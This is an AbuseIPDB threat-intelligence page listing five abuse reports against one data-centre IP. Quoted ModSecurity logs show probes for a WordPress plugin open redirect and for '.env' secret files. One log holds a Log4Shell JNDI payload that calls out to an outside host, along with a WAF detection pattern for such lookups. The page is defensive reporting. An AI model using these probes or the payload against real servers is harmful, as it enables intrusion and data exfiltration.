AbuseIPDB » 82.25.215.151
82.25.215.151
This IP was reported 5 times. Confidence of
Abuse
is 0% : ?
ISP
Internet Utilities Europe and Asia Limited
Usage Type
Data Center/Web Hosting/Transit
ASN
AS30900
Domain Name
netutils.io
Country
🇮🇪
Ireland
City
Dublin, Leinster
IP info including ISP, Usage Type, and Location provided
by IPInfo . Updated weekly.
IP Abuse Reports for 82.25.215.151 :
This IP address has been reported a total of
5
times from
3 distinct
sources.
82.25.215.151 was first reported on
November 1st 2025 , and the most recent report was
3 months ago
Old Reports:
The most recent abuse report for this IP address is from
3 months ago
Reporter
IoA Timestamp (UTC)
Comment
Categories
2026-06-25 11:20:19
(3 months ago)
| Suspicious URL access.
Web App Attack
Hacking
SQL Injection
🇮🇹
Pengu
2026-04-13 04:00:04
(6 months ago)
Network exploitation attempt detected by MSSP SOC
Hacking
🇺🇸
TPI-Abuse
2026-03-01 20:15:57
(7 months ago)
(mod_security) mod_security (id:226830) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:226830) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Mar 01 15:14:55.094327 2026] [security2:error] [pid 27385:tid 27397] [client 82.25.215.151:50289] ModSecurity: Access denied with code 403 (phase 1). Operator GE matched 1 at ARGS_GET. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/27_Apps_WPPlugin.conf"] [line "6392"] [id "226830"] [rev "2"] [msg "COMODO WAF: Open redirect vulnerability in the Redirect function in the StageShow plugin before 5.0.9 for WordPress (CVE-2015-5461)||kettlehill.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "kettlehill.com"] [uri "/wp-content/plugins/stageshow/stageshow_redirect.php"] [unique_id "aaSePw3DRlze-QqtecCamAAAAYQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-11-12 16:05:33
(11 months ago)
(mod_security) mod_security (id:210492) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Nov 12 11:05:27.339717 2025] [security2:error] [pid 7827:tid 7827] [client 82.25.215.151:37369] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.nbcnewsradio.com"] [uri "/.env.bak"] [unique_id "aRSwR6wYzBnXdtM0o7lRZAAAAB0"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-11-01 14:22:03
(11 months ago)
(mod_security) mod_security (id:248270) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:248270) triggered by 82.25.215.151 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Nov 01 10:21:54.653326 2025] [security2:error] [pid 15497:tid 15510] [client 82.25.215.151:50949] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||ftp.kettlehill.com:443|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "ftp.kettlehill.com"] [uri "/"] [unique_id "aQYXgj8P3DuTvo3jZlbx9wAAAEc"], referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d431edhnpe1sijb6tq70biqypyx3d5ufb.rsfi.info}
show less
Brute-Force
Bad Web Bot
Web App Attack
Showing 1 to
5
of 5 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
Recently Reported IPs: